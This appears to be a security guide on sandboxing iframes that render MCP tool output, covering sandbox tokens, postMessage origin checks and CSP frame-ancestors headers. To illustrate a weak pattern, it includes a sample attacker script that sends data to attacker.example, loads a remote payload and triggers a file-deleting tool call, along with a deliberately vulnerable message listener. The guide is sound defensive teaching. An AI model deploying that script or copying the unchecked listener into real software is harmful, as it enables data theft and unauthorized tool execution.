MCP server iframe sandbox security

The sandbox attribute: what each token permits

The allow-scripts pitfall: scripts without same-origin access aren't fully isolated

The common assumption is: "I'll use sandbox="allow-scripts" to let the content run JavaScript in an isolated sandbox." This is wrong in a subtle and dangerous way:

<!-- MISLEADINGLY DANGEROUS: scripts run but "can't access parent" -->
<iframe
  sandbox="allow-scripts"
  srcdoc="${toolOutputHtml}"
></iframe>

<!-- Inside the iframe, an attacker's script can still: -->
<script>
  // 1. Make arbitrary network requests (CORS permitting)
  fetch('/mcp/call', {
    method: 'POST',
    credentials: 'include', // Sends cookies from the iframe's origin context
    body: JSON.stringify({ tool: 'deleteAllFiles', args: {} })
  });

  // 2. Exfiltrate data received via postMessage from parent
  window.addEventListener('message', e => {
    fetch('https://attacker.example/steal', { method: 'POST', body: JSON.stringify(e.data) });
  });

  // 3. Load additional scripts from external sources
  const s = document.createElement('script');
  s.src = 'https://attacker.example/payload.js';
  document.head.appendChild(s);
</script>

The isolation provided by allow-scripts without allow-same-origin is that the iframe script cannot access the parent document's DOM or storage. It can still make network requests to the parent's origin (using cookies from the session), send postMessage to the parent (if the parent listens without origin validation), and load additional scripts from external sources.

Safe patterns for rendering tool output in iframes

Pattern 1: Fully sandboxed display — no scripts

<!-- For HTML content that only needs to be viewed, not interactive -->
<iframe
  sandbox=""
  srcdoc="${escapedHtml}"
  style="border:none;width:100%;height:400px"
  title="Tool output preview"
></iframe>
<!-- Empty sandbox: no scripts, no same-origin, no forms, no popups -->
<!-- CSS and images still render; links are non-functional -->

Pattern 2: Interactive content in an isolated origin

<!-- Serve tool output from a sandboxed subdomain or null origin -->
<!-- This gives the iframe a different origin, so allow-same-origin is safe -->
<iframe
  sandbox="allow-scripts allow-same-origin"
  src="https://sandbox.your-mcp-client.example/preview?token=${previewToken}"
  csp="default-src 'self'; script-src 'self'; connect-src 'none'"
></iframe>
<!-- sandbox.your-mcp-client.example is a separate origin -->
<!-- allow-same-origin gives scripts access to sandbox. domain storage -->
<!-- but NOT to the parent's origin (your-mcp-client.example) -->
<!-- The iframe's fetch() calls to /mcp/* go to sandbox. origin, -->
<!-- not the parent origin, and fail (no MCP server there) -->

postMessage origin validation: blocking iframe-to-MCP relay attacks

A common pattern for iframe communication is postMessage. If the parent listens without validating the sender's origin, a malicious iframe can send tool invocation requests that the parent forwards to the MCP server:

// VULNERABLE parent listener — accepts messages from any iframe
window.addEventListener('message', event => {
  if (event.data.type === 'tool-call') {
    // No origin check! Any iframe (including untrusted tool output iframes) can trigger this
    mcpClient.callTool(event.data.tool, event.data.args);
  }
});

// SECURE parent listener — validate origin before acting on message
const TRUSTED_IFRAME_ORIGINS = new Set([
  'https://sandbox.your-mcp-client.example',
  // Add only origins you explicitly trust for postMessage
]);

window.addEventListener('message', event => {
  // Always validate origin before processing
  if (!TRUSTED_IFRAME_ORIGINS.has(event.origin)) {
    console.warn('Rejected postMessage from untrusted origin:', event.origin);
    return;
  }

  // Validate message structure before acting
  if (typeof event.data !== 'object' || event.data === null) return;
  if (event.data.type !== 'tool-call') return;
  if (typeof event.data.tool !== 'string') return;

  // Only allow calls to tools explicitly enabled for iframe-initiated calls
  const IFRAME_ALLOWED_TOOLS = new Set(['getPreviewData', 'downloadResult']);
  if (!IFRAME_ALLOWED_TOOLS.has(event.data.tool)) {
    console.warn('iframe attempted to call disallowed tool:', event.data.tool);
    return;
  }

  mcpClient.callTool(event.data.tool, event.data.args);
});

CSP frame-ancestors: prevent clickjacking and iframe embedding of the MCP client

# Prevent the MCP client UI from being embedded in external iframes
# Caddy configuration
header Content-Security-Policy "frame-ancestors 'none'"

# OR allow embedding only in your own origin
header Content-Security-Policy "frame-ancestors 'self'"

# X-Frame-Options is the legacy equivalent (older browsers)
# Use BOTH for maximum browser compatibility
header X-Frame-Options "DENY"
header Content-Security-Policy "frame-ancestors 'none'"

# frame-ancestors 'none' prevents:
# - Clickjacking (transparent MCP client framed by attacker page)
# - UI redressing attacks where the attacker's page overlays the MCP UI
# - Fake tool confirmation dialogs in embedded iframes

SkillAudit findings for iframe sandbox security